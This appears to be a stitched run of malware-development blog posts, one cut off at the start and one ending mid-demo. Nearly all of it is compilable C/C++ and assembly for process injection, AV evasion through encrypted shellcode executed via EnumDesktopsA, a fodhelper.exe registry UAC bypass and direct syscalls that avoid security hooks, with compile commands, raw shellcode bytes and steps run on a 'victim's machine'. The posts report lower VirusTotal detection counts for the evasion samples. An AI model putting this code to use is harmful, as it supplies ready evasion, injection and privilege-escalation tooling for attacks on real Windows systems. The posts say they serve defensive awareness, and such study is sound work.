  // allocate memory buffer for remote process
  rb = VirtualAllocEx(ph, NULL, evilLen, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);

  // "copy" evil DLL between processes
  WriteProcessMemory(ph, rb, evilDLL, evilLen, NULL);

  // our process start new thread
  rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)lb, rb, 0, NULL);
  CloseHandle(ph);

  return 0;
}

β€œmalware” demo

Ok, let’s go to demonstration our injection.

Compile it:

x86_64-w64-mingw32-g++ -O2 hack2.c -o hack2.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -lwtsapi32

av-evasion

And run for find and inject to mspaint.exe:

.\hack2.exe mspaint.exe

av-evasion

As you can see, our messagebox is injected to mspaint.exe with PID = 3048 as expected. Perfect! =^..^=

This trick is used by Iranian CopyKittens cyber espionage group. I hope this post spreads awareness to the blue teamers of this interesting malware dev technique, and adds a weapon to the red teamers arsenal.

WTSEnumerateProcessesA
Find PID by name and inject to it. β€œClassic” implementation.
Classic DLL injection into the process. Simple C++ malware
Taking a Snapchot and Viewing Processes
CopyKittens
Malpedia: CopyKittens
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

Malware AV/VM evasion - part 18: encrypt/decrypt payload via modular multiplication-based block cipher. Simple C++ example.

ο·½

Hello, cybersecurity enthusiasts and white hackers!

av-evasion

This post is the result of my own research on try to evasion AV engines via encrypting payload with another logic: modular multiplication-based cipher. As usual, exploring various crypto algorithms, I decided to check what would happen if we apply this to encrypt/decrypt the payload.

modular multiplication-based block cipher

A modular multiplication-based block cipher is a type of symmetric key block cipher that uses the mathematical operation of modular multiplication as its primary method of encryption.

Modular multiplication is an operation that is easy to compute in one direction but hard to reverse without knowing a specific secret value, making it suitable for encryption purposes. In a modular multiplication-based block cipher, the plaintext is broken up into blocks of a fixed size and each block is then encrypted using a modular multiplication operation.

The modular multiplication operation consists of two parts: a multiplier and a modulus. The multiplier is a number that the plaintext is multiplied by, and the modulus is the number that the resulting product is divided by to obtain the remainder. This remainder is the ciphertext block.

The decryption process involves an inverse modular multiplication operation. Knowing the modulus and the multiplier allows the original plaintext block to be recovered from the ciphertext block.

The security of a modular multiplication-based block cipher relies on choosing a multiplier that has certain mathematical properties relative to the modulus. For example, the multiplier and the modulus should be coprime, meaning that they share no common divisors other than 1.

This type of block cipher is fairly simple to implement and understand, and it can provide a reasonable level of security if the multiplier and modulus are chosen carefully. However, it is not as secure as more complex block ciphers such as AES and is typically not used in high-security applications.

practical example

Designing and implementing a secure modular multiplication-based block cipher from scratch is a complex task that requires advanced knowledge in cryptography. Here’s a simple (but not secure!) implementation of a multiplication-based cipher. For simplicity, my code implements a stream cipher instead of a block cipher.

#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>
#include <windows.h>

// change these to your own keys
#define MULTIPLIER 0x12345
#define INCREMENT  0x6789

uint32_t state = 0;

void seed(uint32_t seed_value) {
  state = seed_value;
}

uint32_t next_random() {
  // the modulus is 2^32, since we're using a uint32_t
  state = (MULTIPLIER * state + INCREMENT);
  return state;
}

void mmb_encrypt(unsigned char *data, size_t len) {
  for(size_t i = 0; i < len; ++i) {
    // encrypt one byte at a time
    uint32_t rand = next_random();
    data[i] ^= (rand & 0xFF); // only use the least significant byte
  }
}

void mmb_decrypt(unsigned char *data, size_t len) {
  // decryption is the same as encryption for this cipher
  mmb_encrypt(data, len);
}

This code implements a very simple linear congruential generator (LCG) as a pseudorandom number generator (PRNG). The PRNG is seeded with a β€œkey”, and generates a stream of pseudorandom numbers. This stream is then used to XOR the data to be encrypted.

Then, the pad_data function fills any extra space with the byte 0x90:

unsigned char* pad_data(unsigned char* data, size_t len, size_t block_size, size_t *new_len) {
  size_t padding = block_size - len % block_size;
  unsigned char* padded_data = (unsigned char*)malloc(len + padding);
  memcpy(padded_data, data, len);

  for(size_t i = len; i < len + padding; ++i) {
    padded_data[i] = 0x90; // padding with 0x90
  }

  *new_len = len + padding;
  return padded_data;
}

The unpad_data function reads this byte and removes the appropriate amount of padding. Note that this introduces an upper limit of 255 bytes for the padding, which is more than enough for block sizes used in practice.

void unpad_data(unsigned char* data, size_t *len) {
  size_t padding = data[*len - 1]; // last byte is the padding length
  *len -= padding + 1; // adjust length to remove padding and padding length byte
}

Let’s go to encrypt and decrypt payload with this function. The full source is looks like this hack.c:

/*
 * hack.c
 * modular multiplication based block cipher (stream cipher)
 * author: @cocomelonc
 * https://cocomelonc.github.io/malware/2023/06/26/malware-av-evasion-18.html
*/
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>
#include <windows.h>

// change these to your own keys
#define MULTIPLIER 0x12345
#define INCREMENT  0x6789

uint32_t state = 0;

void seed(uint32_t seed_value) {
  state = seed_value;
}

uint32_t next_random() {
  // the modulus is 2^32, since we're using a uint32_t
  state = (MULTIPLIER * state + INCREMENT);
  return state;
}

// padding
unsigned char* pkcs7_pad(unsigned char* data, size_t len, size_t block_size, size_t *new_len) {
  size_t padding = block_size - len % block_size;
  unsigned char* padded_data = (unsigned char*)malloc(len + padding);
  memcpy(padded_data, data, len);

  for(size_t i = len; i < len + padding; ++i) {
    padded_data[i] = padding;
  }

  *new_len = len + padding;
  return padded_data;
}

unsigned char* pad_data(unsigned char* data, size_t len, size_t block_size, size_t *new_len) {
  size_t padding = block_size - len % block_size;
  unsigned char* padded_data = (unsigned char*)malloc(len + padding);
  memcpy(padded_data, data, len);

  for(size_t i = len; i < len + padding; ++i) {
    padded_data[i] = 0x90; // padding with 0x90
  }

  *new_len = len + padding;
  return padded_data;
}

void unpad_data(unsigned char* data, size_t *len) {
  size_t padding = data[*len - 1]; // last byte is the padding length
  *len -= padding + 1; // adjust length to remove padding and padding length byte
}

void mmb_encrypt(unsigned char *data, size_t len) {
  for(size_t i = 0; i < len; ++i) {
    // encrypt one byte at a time
    uint32_t rand = next_random();
    data[i] ^= (rand & 0xFF); // only use the least significant byte
  }
}

void mmb_decrypt(unsigned char *data, size_t len) {
  // decryption is the same as encryption for this cipher
  mmb_encrypt(data, len);
}

int main() {
  unsigned char my_payload[] = 
  "\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
  "\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
  "\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
  "\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
  "\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
  "\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
  "\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
  "\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
  "\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
  "\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
  "\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
  "\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
  "\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
  "\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
  "\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
  "\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
  "\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
  "\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
  "\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
  "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
  "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
  "\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
  "\x2e\x2e\x5e\x3d\x00";

  int my_payload_len = sizeof(my_payload);
  size_t pad_len;

  seed(12345); // seed the PRNG

  printf("original shellcode: ");
  for (int i = 0; i < my_payload_len; i++) {
    printf("%02x ", my_payload[i]);
  }
  printf("\n\n");

  // unsigned char* padded = pkcs7_pad(my_payload, my_payload_len - 1, 16, &pad_len);
  unsigned char* padded = pad_data(my_payload, my_payload_len - 1, 16, &pad_len);

  printf("padded shellcode: ");
  for (int i = 0; i < pad_len; i++) {
    printf("%02x ", padded[i]);
  }
  printf("\n\n");

  mmb_encrypt(padded, pad_len);
  
  printf("encrypted shellcode: ");
  for (int i = 0; i < pad_len; i++) {
    printf("%02x ", padded[i]);
  }
  printf("\n\n");

  seed(12345); // reset the PRNG to the same state
  mmb_decrypt(padded, pad_len);

  printf("decrypted shellcode: ");
  for (int i = 0; i < my_payload_len; i++) {
    printf("%02x ", padded[i]);
  }

  printf("\n\n");
  unpad_data(padded, &pad_len); // unpad the data

  LPVOID mem = VirtualAlloc(NULL, my_payload_len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  RtlMoveMemory(mem, padded, my_payload_len);
  EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, NULL);

  free(padded);
  return 0;
}

As usually, I used meow-meow messagebox payload:

"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

For checking correctness, also added printing logic.

demo

Let’s go to see everything in action. Compile it (in kali machine):

x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

av-evasion

Then, just run it in the victim’s machine (windows 10 x64 22H12 in my case):

.\hack.exe

av-evasion

av-evasion

av-evasion

As you can see, everything is worked perfectly! =^..^=

practical example 2. for virustotal

The second example is just for checking VirusTotal results for this: let’s say we have encrypted payload, we decrypt it and run (hack2.c).

/*
 * hack2.c
 * modular multiplication based block cipher (stream cipher)
 * author: @cocomelonc
 * https://cocomelonc.github.io/malware/2023/06/26/malware-av-evasion-18.html
*/
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>
#include <windows.h>

// change these to your own keys
#define MULTIPLIER 0x12345
#define INCREMENT  0x6789

uint32_t state = 0;

void seed(uint32_t seed_value) {
  state = seed_value;
}

uint32_t next_random() {
  // the modulus is 2^32, since we're using a uint32_t
  state = (MULTIPLIER * state + INCREMENT);
  return state;
}

void mmb_encrypt(unsigned char *data, size_t len) {
  for(size_t i = 0; i < len; ++i) {
    // encrypt one byte at a time
    uint32_t rand = next_random();
    data[i] ^= (rand & 0xFF); // only use the least significant byte
  }
}

void mmb_decrypt(unsigned char *data, size_t len) {
  // decryption is the same as encryption for this cipher
  mmb_encrypt(data, len);
}

int main() {
  unsigned char padded[] = 
  "\x1a\xcf\x6d\xc1\x72\x6c\xd7\xae\xb6\x0f\xa4\xbd\x7a"
  "\x2a\x31\x28\x86\x65\x0d\x03\x3a\x72\x4a\xe4\x06\x04"
  "\x46\x8d\x54\x53\x5b\xcb\xde\xd9\x84\x0e\x30\xd3\x36"
  "\xf9\xb5\x4d\xd4\x23\x12\xc4\xf7\x83\xfc\xda\x0d\x7c"
  "\x1a\x92\xb8\x4d\x12\x8e\x88\x4f\x66\x5b\xf1\x38\x6f"
  "\x4a\xed\xe4\x83\xb1\x05\x43\x5f\xce\x5a\x35\xb1\x79"
  "\x00\x17\x1d\xb5\x20\x5d\x33\xd3\x66\xca\x8e\xc7\xd4"
  "\xad\x2a\x93\x15\x99\xf2\xc8\xc4\x44\xf2\xe3\xf6\xfa"
  "\xb6\xe7\x7a\x99\x91\xcb\x20\xc0\x77\x87\x1f\x29\x5a"
  "\x9c\xf1\x9f\xaf\x24\x80\x85\x42\x3a\xa6\xf4\x57\xce"
  "\x24\x94\xc2\xbf\xe9\x10\x17\x52\x65\x3c\x3b\xd3\x00"
  "\x9c\xa7\x89\x90\xd6\xbe\xe7\x10\x44\xf7\xde\xe1\xbb"
  "\xb2\xa5\x14\x92\x06\x43\x05\x04\x32\x15\xb6\x70\x35"
  "\xb3\x4c\xa3\x9e\xc0\x80\x55\x7f\x16\x6c\x0b\x93\xa8"
  "\xfc\xe9\xe6\x6e\xa4\x8c\x92\xba\x68\x27\x7f\x9d\x6d"
  "\x3d\x83\x8a\x29\xcb\xd6\x9c\x08\xdd\xfb\xf9\x5f\x49"
  "\x4e\x36\xc5\xcf\x8c\xcb\x53\xd3\x67\x86\xab\xd2\x55"
  "\x06\x59\x1e\xc7\x27\x0c\xc5\xa2\x0d\x00\x7c\xeb\x65"
  "\xc5\x5d\x9a\x35\xcc\x84\x73\xf2\x7d\xf5\x92\xab\x89"
  "\xe8\x2f\x95\x71\x0e\xdc\xbc\x0f\xec\x5d\x67\xf1\x0f"
  "\x88\xd2\x92\xf7\xcb\x62\x39\x42\xaf\x23\xe3\xad\xfe"
  "\x0b\x5a\x29\x78\xc3\x63\x61\x3b\x8a\xaf\xaa\x79\x69"
  "\xbf\xf3\xc6\xbe\x8d\x0c\xb8\x0c\xdd\xfc\x5b\x50\xf3"
  "\x30\x37\xae\x2f\xbe\x97\x97\x01\xeb\x7c\x8d\x26\xdc"
  "\x2e\x7f\x64\xdd\xda\xeb\x20\x69";

  size_t pad_len = sizeof(padded);
  // printf("%zu\n", pad_len);
  
  printf("encrypted shellcode: ");
  for (int i = 0; i < pad_len; i++) {
    printf("\\x%02x", padded[i]);
  }
  printf("\n\n");

  seed(12345); // PRNG
  mmb_decrypt(padded, pad_len);

  printf("decrypted shellcode: ");
  for (int i = 0; i < pad_len; i++) {
    printf("\\x%02x", padded[i]);
  }
  printf("\n\n");

  LPVOID mem = VirtualAlloc(NULL, pad_len-2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  RtlMoveMemory(mem, padded, pad_len - 2);
  EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, NULL);

  return 0;
}

demo 2

Compile it:

x86_64-w64-mingw32-g++ -O2 hack2.c -o hack2.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

av-evasion

And run:

.\hack2.exe

av-evasion

av-evasion

As you can see, everything worked as expected! =^..^=

Note that I used EnumDesktopsA for running shellcode in all examples in this post:

LPVOID mem = VirtualAlloc(NULL, pad_len-2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
RtlMoveMemory(mem, padded, pad_len - 2);
EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, NULL);

Let’s go to upload this hack2.exe to VirusTotal:

av-evasion

https://www.virustotal.com/gui/file/0bdab1a12c04e2f9421107a1ee0c816dbea860671eea71dc3810945eb9ac03f4/detection

As you can see, only 16 of 71 AV engines detect our file as malicious, we have reduced the number of AV engines which detect our malware from 21 to 16

I hope this post spreads awareness to the blue teamers of this interesting encrypting technique, and adds a weapon to the red teamers arsenal.

MITRE ATT&CK: T1027
AV evasion: part 1
AV evasion: part 2
Shannon entropy
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

Malware AV/VM evasion - part 17: bypass UAC via fodhelper.exe. Simple C++ example.

ο·½

Hello, cybersecurity enthusiasts and white hackers!

av-evasion

This post appeared as an intermediate result of one of my research projects in which I am going to bypass the antivirus by depriving it of the right to scan, so this is the result of my own research on the first step, one of the interesting UAC bypass trick: via foodhelper.exe with registry modification.

registry modification

The process of modifying a registry key has as its end objective the rerouting of an elevated program’s execution flow to a command that has been managed. The most common misuses of key values involve the manipulation of windir and systemroot environment variables, as well as shell open commands for particular file extensions (depending on the program that is being targeted):

  • HKCU\\Software\\Classes\<targeted_extension>\\shell\\open\command (Default or DelegateExecute values)
  • HKCU\\Environment\\windir
  • HKCU\\Environment\\systemroot

fodhelper.exe

fodhelper.exe was introduced in Windows 10 to manage optional features like region-specific keyboard settings. It’s location is: C:\Windows\System32\fodhelper.exe and it is signed by Microsoft:

av-evasion

When fodhelper.exe is started, process monitor begins capturing the process and discloses (among other things) all registry and filesystem read/write operations. The read registry accesses are one of the most intriguing activities, despite the fact that some specific keys or values are not discovered. Because we do not require special permissions to modify entries, HKEY_CURRENT_USER registry keys are particularly useful for testing how a program’s behavior may change after the creation of a new registry key.

fodhelper.exe, searches for HKCU:\Software\Classes\ms-settings\shell\open\command. This key does not exist by default in Windows 10:

av-evasion

So, when malware launches fodhelper (as we know, a Windows binary that permits elevation without requiring a UAC prompt) as a Medium integrity process, Windows automatically elevates fodhelper from a Medium to a High integrity process. The High integrity fodhelper then tries to open a ms-settings file using the file’s default handler. Since the malware with medium integrity has commandeered this handler, the elevated fodhelper will execute an attack command as a process with high integrity.

practical example

So, let’s go to create PoC for this logic. First of all create registry key and set values - our registry modification step:

HKEY hkey;
DWORD d;

const char* settings = "Software\\Classes\\ms-settings\\Shell\\Open\\command";
const char* cmd = "cmd /c start C:\\Windows\\System32\\cmd.exe"; // default program
const char* del = "";

// attempt to open the key
LSTATUS stat = RegCreateKeyEx(HKEY_CURRENT_USER, (LPCSTR)settings, 0, NULL, 0, KEY_WRITE, NULL, &hkey, &d);
printf(stat != ERROR_SUCCESS ? "failed to open or create reg key\n" : "successfully create reg key\n");

// set the registry values
stat = RegSetValueEx(hkey, "", 0, REG_SZ, (unsigned char*)cmd, strlen(cmd));
printf(stat != ERROR_SUCCESS ? "failed to set reg value\n" : "successfully set reg value\n");

stat = RegSetValueEx(hkey, "DelegateExecute", 0, REG_SZ, (unsigned char*)del, strlen(del));
printf(stat != ERROR_SUCCESS ? "failed to set reg value: DelegateExecute\n" : "successfully set reg value: DelegateExecute\n");

// close the key handle
RegCloseKey(hkey);

As you can see, just creates a new registry structure in: HKCU:\Software\Classes\ms-settings\ to perform UAC bypass.

Then, start elevated app:

 // start the fodhelper.exe program
SHELLEXECUTEINFO sei = { sizeof(sei) };
sei.lpVerb = "runas";
sei.lpFile = "C:\\Windows\\System32\\fodhelper.exe";
sei.hwnd = NULL;
sei.nShow = SW_NORMAL;

if (!ShellExecuteEx(&sei)) {
  DWORD err = GetLastError();
  printf (err == ERROR_CANCELLED ? "the user refused to allow privileges elevation.\n" : "unexpected error! error code: %ld\n", err);
} else {
  printf("successfully create process =^..^=\n");
}

return 0;

That’s all.

Full source code is looks like hack.c:

/*
 * hack.c - bypass UAC via fodhelper.exe
 * (registry modifications). C++ implementation
 * @cocomelonc
 * https://cocomelonc.github.io/malware/2023/06/19/malware-av-evasion-17.html
*/
#include <windows.h>
#include <stdio.h>

int main() {
  HKEY hkey;
  DWORD d;

  const char* settings = "Software\\Classes\\ms-settings\\Shell\\Open\\command";
  const char* cmd = "cmd /c start C:\\Windows\\System32\\cmd.exe"; // default program
  const char* del = "";

  // attempt to open the key
  LSTATUS stat = RegCreateKeyEx(HKEY_CURRENT_USER, (LPCSTR)settings, 0, NULL, 0, KEY_WRITE, NULL, &hkey, &d);
  printf(stat != ERROR_SUCCESS ? "failed to open or create reg key\n" : "successfully create reg key\n");

  // set the registry values
  stat = RegSetValueEx(hkey, "", 0, REG_SZ, (unsigned char*)cmd, strlen(cmd));
  printf(stat != ERROR_SUCCESS ? "failed to set reg value\n" : "successfully set reg value\n");

  stat = RegSetValueEx(hkey, "DelegateExecute", 0, REG_SZ, (unsigned char*)del, strlen(del));
  printf(stat != ERROR_SUCCESS ? "failed to set reg value: DelegateExecute\n" : "successfully set reg value: DelegateExecute\n");

  // close the key handle
  RegCloseKey(hkey);

  // start the fodhelper.exe program
  SHELLEXECUTEINFO sei = { sizeof(sei) };
  sei.lpVerb = "runas";
  sei.lpFile = "C:\\Windows\\System32\\fodhelper.exe";
  sei.hwnd = NULL;
  sei.nShow = SW_NORMAL;

  if (!ShellExecuteEx(&sei)) {
    DWORD err = GetLastError();
    printf (err == ERROR_CANCELLED ? "the user refused to allow privileges elevation.\n" : "unexpected error! error code: %ld\n", err);
  } else {
    printf("successfully create process =^..^=\n");
  }

  return 0;
}

demo

Let’s go to see everything in action. First, let’s check registry:

reg query "HKCU\Software\Classes\ms-settings\Shell\open\command"

av-evasion

Also, check our current privileges:

whoami /priv

av-evasion

Compile our hack.c PoC in attacker’s machine:

x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

av-evasion

Then, just run it in the victim’s machine (Windows 10 x64 1903 in my case):

.\hack.exe

av-evasion

As you can see, cmd.exe is launched. Check registry structure again:

reg query "HKCU\Software\Classes\ms-settings\Shell\open\command"

av-evasion

As you can see, the registry has been successfully modified.

Check privileges in our launched cmd.exe session:

whoami /priv

av-evasion

Then, run Process Hacker with Administrator privileges:

av-evasion

and check properties of our cmd.exe:

av-evasion

av-evasion

As you can see, everything is worked perfectly! =^..^=

Glupteba malware leveraging this method to first elevate from a Medium to High integrity process, then from High to System integrity via Token Manipulation.

I hope this post spreads awareness to the blue teamers of this interesting bypass technique, and adds a weapon to the red teamers arsenal.

MITRE ATT&CK: Modify registry
Glupteba
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

Malware development trick - part 33. Syscalls - part 2. Simple C++ example.

ο·½

Hello, cybersecurity enthusiasts and white hackers!

trick

This post is the result of my own research and the second post in a series of articles about windows system calls.

userland hooking

Security software often implements a technique known as API hooking on system calls, which allows these tools to inspect and monitor the behavior of applications while they are running. This capability can provide vital insights into program execution and possible security threats.

Moreover, these security solutions have the authority to examine any memory area designated as executable, scanning for specific patterns or signatures. These hooks, installed in user mode, are typically set up prior to the execution of the system call instruction, which signifies the final stage of a user mode system call function.

For example, NtAllocateVirtualMemory is a system call used to allocate virtual memory. When an application calls NtAllocateVirtualMemory, it is asking the operating system to reserve a block of virtual memory for its use.

Security solutions can place a hook on NtAllocateVirtualMemory to monitor how applications are using memory. This can help the security solution detect malicious activities. For example, if an application is allocating a very large amount of memory or if it’s allocating memory in a suspicious manner, that could be a sign of a memory-based attack or a memory leak.

By hooking into NtAllocateVirtualMemory, the security solution can inspect these activities in real-time and potentially stop malicious activities before they cause damage. The ability to analyze and interpret the behavior of such function calls is an essential aspect of many host-based security solutions.

direct syscalls

Using syscalls directly is one method of bypassing userland hooks. A way to avoid detection by security tools that hook into system calls in user space could be accomplished by creating a customized version of the system call function using assembly language, and then executing this customized function directly from the assembly file.

practical example

Let’s look at the example from the first part:

/*
hack.c
classic DLL injection example
author: @cocomelonc
https://cocomelonc.github.io/tutorial/2021/09/20/malware-injection-2.html
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>

#pragma comment(lib, "ntdll")

typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemory)(
  HANDLE             ProcessHandle,
  PVOID              *BaseAddress,
  ULONG              ZeroBits,
  PULONG             RegionSize,
  ULONG              AllocationType,
  ULONG              Protect
);

char evilDLL[] = "C:\\temp\\evil.dll";
unsigned int evilLen = sizeof(evilDLL) + 1;

int main(int argc, char* argv[]) {
  HANDLE ph; // process handle
  HANDLE rt; // remote thread
  LPVOID rb; // remote buffer

  // handle to kernel32 and pass it to GetProcAddress
  HMODULE hKernel32 = GetModuleHandle("Kernel32");
  HMODULE ntdll = GetModuleHandle("ntdll");
  VOID *lb = GetProcAddress(hKernel32, "LoadLibraryA");

  // parse process ID
  if ( atoi(argv[1]) == 0) {
    printf("PID not found :( exiting...\n");
    return -1;
  }
  printf("PID: %i", atoi(argv[1]));
  ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));

  pNtAllocateVirtualMemory myNtAllocateVirtualMemory = (pNtAllocateVirtualMemory)GetProcAddress(ntdll, "NtAllocateVirtualMemory");  

  // allocate memory buffer for remote process
  myNtAllocateVirtualMemory(ph, &rb, 0, (PULONG)&evilLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

  // "copy" evil DLL between processes
  WriteProcessMemory(ph, rb, evilDLL, evilLen, NULL);

  // our process start new thread
  rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)lb, rb, 0, NULL);
  CloseHandle(ph);
  return 0;
}

Below is an example of a created syscall in an assembly file (syscall.asm):

section .text
global myNtAllocateVirtualMemory
myNtAllocateVirtualMemory:
  mov r10, rcx
  mov eax, 18h ; syscall number for NtAllocateVirtualMemory
  syscall
  ret

For the same result as invoking NtAllocateVirtualMemory with GetProcAddress and GetModuleHandle, the following assembly function may be used instead. This eliminates the requirement to invoke NtAllocateVirtualMemory from within the ntdll address space, where hooks are installed, thus avoiding the hooks.

In our C code, we can define and use the myNtAllocateVirtualMemory function like this:

/*
hack.c
syscall via assembly
author: @cocomelonc
https://cocomelonc.github.io/malware/2023/06/09/syscalls-2.html
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>

char evilDLL[] = "C:\\temp\\evil.dll";
unsigned int evilLen = sizeof(evilDLL) + 1;

extern "C" NTSTATUS myNtAllocateVirtualMemory(
    HANDLE             ProcessHandle,
    PVOID              *BaseAddress,
    ULONG              ZeroBits,
    PULONG             RegionSize,
    ULONG              AllocationType,
    ULONG              Protect
  );

int main(int argc, char* argv[]) {
  HANDLE ph; // process handle
  HANDLE rt; // remote thread
  LPVOID rb; // remote buffer

  // handle to kernel32 and pass it to GetProcAddress
  HMODULE hKernel32 = GetModuleHandle("Kernel32");
  VOID *lb = GetProcAddress(hKernel32, "LoadLibraryA");

  // parse process ID
  if ( atoi(argv[1]) == 0) {
    printf("PID not found :( exiting...\n");
    return -1;
  }
  printf("PID: %i", atoi(argv[1]));
  ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));

  myNtAllocateVirtualMemory(ph, &rb, 0, (PULONG)&evilLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

  // "copy" evil DLL between processes
  WriteProcessMemory(ph, rb, evilDLL, evilLen, NULL);

  // our process start new thread
  rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)lb, rb, 0, NULL);
  CloseHandle(ph);
  return 0;
}

In order to add an assembly function into our C program and to establish its name, return type, and parameters, we utilize the extern "C" (EXTERN_C) directive. This preprocessor directive indicates that the function is defined elsewhere, and it is linked and invoked according to the C-language conventions. This approach is also applicable when we want to include assembly language written system call functions in our code. Simply convert the system call invocations written in assembly to the appropriate assembler template syntax, define the function using the EXTERN_C directive, and add to our code (or store this in a header file, this header file can then be included in our project.).

That’s all.

demo

Let’s go to see everything in action.

First of all compile our .asm file:

nasm -f win64 -o syscall.o syscall.asm

trick

We would then compile:

